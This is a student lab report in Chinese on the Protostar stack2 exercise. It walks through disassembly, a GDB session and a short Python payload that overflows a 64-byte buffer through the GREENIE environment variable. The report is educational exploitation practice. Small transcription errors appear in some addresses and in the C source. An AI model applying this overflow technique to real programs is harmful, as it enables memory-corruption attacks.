

## CS3312 Lab Report Stack2

Osamu Takenaka 520030990026

### 源码分析

x86汇编代码(由objdump得到):

```
0048494 <main>:
0048494: 55                push    %ebp
0048495: 89 e5             mov     %esp,%ebp
0048497: 83 e4 f0          and     $0xfffffffff0,%esp
004849a: 83 ec 60          sub     $0x60,%esp
004849d: c7 04 24 e0 85 04 08 movl    $0x80485e0,(%esp)
00484a4: e8 d3 fe ff ff   call    804837c <getenv@plt>
00484a9: 89 44 24 5c       mov     %eax,0x5c(%esp)
00484ad: 83 7c 24 5c 00    cmpl    $0x0,0x5c(%esp)
00484b2: 75 14            jne     80484c8 <main+0x34>
00484b4: c7 44 24 04 e8 85 04 movl    $0x80485e8,0x4(%esp)
00484bb: 08
00484bc: c7 04 24 01 00 00 00 movl    $0x1,(%esp)
00484c3: e8 f4 fe ff ff   call    80483bc <errx@plt>
00484c8: c7 44 24 58 00 00 00 movl    $0x0,0x58(%esp)
00484cf: 00
00484d0: 8b 44 24 5c       mov     0x5c(%esp),%eax
00484d4: 89 44 24 04       mov     %eax,0x4(%esp)
00484d8: 8d 44 24 18       lea     0x18(%esp),%eax
00484dc: 89 04 24          mov     %eax,(%esp)
00484df: e8 b8 fe ff ff   call    804839c <strcpy@plt>
00484e4: 8b 44 24 58       mov     0x58(%esp),%eax
00484e8: 3d 0a 0d 0a 0d    cmp     $0xd0a0d0a,%eax
00484ed: 75 0e            jne     80484fd <main+0x69>
00484ef: c7 04 24 18 86 04 08 movl    $0x8048618,(%esp)
00484f6: e8 d1 fe ff ff   call    80483cc <puts@plt>
00484fb: eb 15            jmp     8048512 <main+0x7e>
00484fd: 8b 54 24 58       mov     0x58(%esp),%edx
0048501: b8 41 86 04 08    mov     $0x8048641,%eax
0048506: 89 54 24 04       mov     %edx,0x4(%esp)
004850a: 89 04 24          mov     %eax,(%esp)
004850d: e8 9a fe ff ff   call    80483ac <printf@plt>
0048512: c9               leave
0048513: c3               ret
```

C语言源代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];
    char *variable;

    variable = getenv("GREENIE");

    if(variable == NULL) {
        errx(1, "please set the GREENIE environment variable\n");
    }

    modified = 0;

    strcpy(buffer, variable);

    if(modified == 0xd0a0d0a) {
        printf("you have correctly modified the variable\n");
    } else {
        print("Try again, you got 0x%08x\n", modified);
    }
}
```

这段C程序同样是一个典型的缓冲区溢出漏洞:

其使用 `strcpy` 函数将环境变量 `GREENIE` 的值复制到缓冲区 `buffer` 中。`strcpy` 函数不会检查目标缓冲区的大小, 因此如果输入的数据超过了64字节, 就会发生缓冲区溢出。

通过构造的环境变量 `GREENIE` 的值, 攻击者可以改变 `modified` 变量的值。

程序检查 `modified` 是否被设置为特定值 ( `0x0d0a0d0a` ), 如果是, 就会打印成功的消息, 这表明攻击成功。

同样地, 我们接下来, 我们需要知道 `buffer` 的地址和 `modified` 的地址, 然后通过输入超长字符串来覆盖 `modified` 的值。

变量位置确定

modified:

通过 `modified = 0` 这句C代码可以很容易找到对应的汇编代码:

```
80484c8:      c7 44 24 58 00 00 00    movl    $0x0,0x58(%esp)
不难看出, modified 变量的地址是0x58(%esp)
```

variable:

通过这句C代码:

```
variable = getenv("GREENIE");
```

可以定位到汇编中对应的代码为:

```
804849d:      c7 04 24 e0 85 04 08    movl    $0x80485e0, (%esp)
80484a4:      e8 d3 fe ff ff          call    804837c <getenv@plt>
80484a9:      89 44 24 5c             mov     %eax,0x5c(%esp)
可以看出, variable 变量的地址是0x5c(%esp)
```

buffer:

通过这句C代码:

```
strcpy(buffer, variable);
```

可以定位到汇编中对应的代码为:

```
80484d0:      8b 44 24 5c             mov     0x5c(%esp), %eax
80484d4:      89 44 24 04             mov     %eax,0x4(%esp)
80484d8:      8d 44 24 18             lea     0x18(%esp), %eax
80484dc:      89 04 24                mov     %eax, (%esp)
80484df:      e8 b8 fe ff ff          call    804839c <strcpy@plt>
可以看出, buffer 数组的开始地址是0x18(%esp)
```

## GDB调试

- 接下来我们需要通过gdb, 通过查看esp的值, 得到各个变量的地址。

由于该程序需要环境变量 `GREENIE`, 所以我们需要在gdb中设置环境变量。

同样地, 我们令 `GREENIE` 的值为64个 `a`, 即 `GREENIE=aa`

```
(gdb) set environment GREENIE =aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

然后我们添加断点, 运行程序, 在执行完 `strcpy` 后, 查看esp的值:

```
0x80484b2 <main+30>    jne     0x80484c8 <main+52>
0x80484b4 <main+32>    movl    $0x80485e8,0x4(%esp)
0x80484bc <main+40>    movl    $0x1, (%esp)
0x80484c3 <main+47>    call   0x80483bc <errx@plt>
0x80484c8 <main+52>    movl    $0x0,0x58(%esp)
> 0x80484d0 <main+60>    mov     0x5c(%esp), %eax
0x80484d4 <main+64>    mov     %eax,0x4(%esp)
0x80484d8 <main+68>    lea     0x18(%esp), %eax
0x80484dc <main+72>    mov     %eax, (%esp)
0x80484df <main+75>    call   0x804839c <strcpy@plt>
> 0x80484e4 <main+80>    mov     0x58(%esp), %eax
0x80484e8 <main+84>    cmp     $0xd0a0d0a, %eax
0x80484ed <main+89>    jne     0x80484fd <main+105>
0x80484ef <main+91>    movl    $0x8048618, (%esp)
0x80484f6 <main+98>    call   0x80483cc <puts@plt>
0x80484fb <main+103>   jmp     0x8048512 <main+126>
0x80484fd <main+105>   mov     0x58(%esp), %edx

native process 20904 In: main
(gdb) r
Starting program: /opt/protostar/bin/stack2

Breakpoint 1, main (argc=1, argv=0xffc93aa4) at stack2/stack2.c:12
(gdb) stepi
(gdb) next
(gdb) stepi
(gdb) next
(gdb) print $esp
$1 = (void *) 0xffc939a0
(gdb) []
```

可以看到 `%esp` 的值是 `0xffc939a0`, 所以:

`modified` 的地址是 `0xffc939a0 + 0x58 = 0xffc939f8`

`variable` 的地址是 `0xffc939a0 + 0x5c = 0xffc939fc`

`buffer` 的起始地址是 `0xffc939a0 + 0x18 = 0xffc939b8`

- 然后我们打印一下相关内存区域:

```
(gdb) x/128xb 0xffc939a0
0xffc939a0:  0xb8  0x39  0xc9  0xff  0xeb  0x48  0xc9  0xff
0xffc939a8:  0x00  0x00  0x00  0x00  0x00  0x32  0x4b  0xfe
0xffc939b0:  0x07  0x00  0x00  0x00  0x6a  0x48  0xc9  0xff
0xffc939b8:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939c0:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939c8:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939d0:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939d8:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939e0:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939e8:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939f0:  0x61  0x61  0x61  0x61  0x61  0x61  0x61  0x61
0xffc939f8:  0x00  0x00  0x00  0x00  0xeb  0x48  0xc9  0xff
0xffc93a00:  0x00  0xb0  0xf5  0xf7  0x00  0xb0  0xf5  0xf7
0xffc93a08:  0x00  0x00  0x00  0x00  0x1  0xbf  0xd9  0xff
0xffc93a10:  0x01  0x00  0x00  0x00  0xa4  0x3a  0xc9  0xff
0xffc93a18:  0xac  0x3a  0xc9  0xff  0x34  0x3a  0xc9  0xff
```

可以看到大片的 0x61，即 a，即为buffer的地址区域，为 0xffc939a0 至 0xffc939f7，我们的计算是正确的。

可以看到 modified 的地址为 0xffc939f8，紧挨着 buffer 的末尾。

- 接下来我们需要构造输入，使得 modified 的值变为 0x0d0a0d0a

到该系统为小端，所以 modified 在内存中应该是 0x0a 0x0d 0x0a 0x0d（地址从左至右依次增大）。

## 攻击脚本内容

通过查找ASCII表格，发现这部分不是可打印字符，所以我们需要使用python来构造输入

script\_stack2.py:

```
buffer = 'a' * 64
modified = '\x0a\x0d\x0a\x0d'
print(buffer + modified)
```

在终端中运行：

```
export GREENIE=$(python3 script_stack2.py)
./stack2
```

## 结果（非GDB环境）

```
root@fd107c402cc9:/opt/protostar/bin# export GREENIE=$(python3 script_stack2.py)
root@fd107c402cc9:/opt/protostar/bin# ./stack2
you have correctly modified the variable
root@fd107c402cc9:/opt/protostar/bin#
```

攻击成功